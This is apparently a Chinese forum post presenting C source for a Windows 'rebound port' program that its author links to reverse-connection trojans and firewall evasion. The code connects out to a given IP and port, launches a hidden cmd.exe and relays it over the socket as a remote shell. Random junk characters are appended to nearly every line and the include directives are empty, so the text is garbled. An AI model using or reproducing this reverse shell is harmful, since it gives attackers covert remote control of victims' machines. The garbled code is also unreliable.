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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 glj7$  
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/* ============================== `ltN,?/  
Rebound port in Windows NT <Mx0\b!  
By wind,2006/7 7FLXx?nLY  
===============================*/ )=J5\3O*x  
#include ?+~cA^-3T  
#include O}Hf62"  
fH\X  
#pragma comment(lib,"wsock32.lib") $= B8qZ+  
|Os6V<u"  
void OutputShell(); !d,8kG  
SOCKET sClient; Qck| #tc  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; u7fK1 ^O  
S${Zzt"  
void main(int argc,char **argv) 7Ym(n8  
{ oRM)% N#  
WSADATA stWsaData; ?-MP_9!JK  
int nRet; *4S-z&,.c  
SOCKADDR_IN stSaiClient,stSaiServer; qnM|w~G  
:`\) P,  
if(argc != 3) J NVr  
{ lhH`dG D  
printf("Useage:\n\rRebound DestIP DestPort\n"); a2w T6jY  
return; Ml?~ |_  
} j'?7D0>  
YAVy9$N-  
WSAStartup(MAKEWORD(2,2),&stWsaData);  7I=C+  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); %' $o"  
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stSaiClient.sin_family = AF_INET; <q (z>*-e  
stSaiClient.sin_port = htons(0); p =(@3%k  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 2o3EHZ+]cm  
)@gZ;`n  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 7j$Pt8$  
{ #>[a{<;Kn  
printf("Bind Socket Failed!\n"); q5x[~]?  
return; 5O <>mCF  
} D}3T|N  
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stSaiServer.sin_family = AF_INET; JIm4vS  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); T!RT<&  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 1PH: \0}  
g7\,{Bw#E  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ?S Z1`.S  
{ q%(EYM5Y  
printf("Connect Error!"); Pq9|WV#F5/  
return; yWDTjY/  
} jN31hDg<z  
OutputShell(); Z[Qza13lo  
}  YZc>dE  
B9R(&<4  
void OutputShell() ^qGb%! l  
{ kDvc" ,SD#  
char szBuff[1024]; 0NDftcB]  
SECURITY_ATTRIBUTES stSecurityAttributes; *\}}Bv+9  
OSVERSIONINFO stOsversionInfo; mLh kI!4[  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; =(v^5  
STARTUPINFO stStartupInfo; j;b42G~p  
char *szShell; p;T{i._iL  
PROCESS_INFORMATION stProcessInformation; h!rM^  
unsigned long lBytesRead; +Y"r71|A6+  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); m: n` g1  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ;-P)m  
stSecurityAttributes.lpSecurityDescriptor = 0; ,`D~py,  
stSecurityAttributes.bInheritHandle = TRUE; dU)]:>Uz  
a"N4~?US  
:bu>],d-8'  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); &;yH@@Z  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); r;BT,jiX  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); te|? )j  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d^03"t0O]  
stStartupInfo.wShowWindow = SW_HIDE; N`@NiJ(O;  
stStartupInfo.hStdInput = hReadPipe; N;Dp~(1 J1  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; >F1kR\!  
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GetVersionEx(&stOsversionInfo); M_v?9L  
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switch(stOsversionInfo.dwPlatformId) `?T#Hl>j  
{ @ "a6fn  
case 1: 1 `^Rdi0  
szShell = "command.com"; ]aP= Ks%  
break; <8,o50`B  
default: ~h}Fi  
szShell = "cmd.exe"; :y*NM,s  
break; SIO&rrT.  
} 7tUA>;++  
+#U|skl  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); &Z(K6U#.  
**9x?s  
send(sClient,szMsg,77,0); n0Y+b[ +wj  
while(1) _Zk{!  
{ NBl+_/2'w  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); )?+$x[f!*  
if(lBytesRead) 1b=lpw 1}  
{ oSiMpQu08  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); )?_#gLrE6  
send(sClient,szBuff,lBytesRead,0); E_Z{6&r  
} C~fjWz' V  
else O~j> ?  
{ ojYbR<jn9  
lBytesRead=recv(sClient,szBuff,1024,0); 'z76 Sa  
if(lBytesRead<=0) break; sn7AR88M;  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); f}g\D#`]/  
} Lg8nj< TF  
} *I}`dC[  
'iLpE7  
return; 4tL<q_  
}
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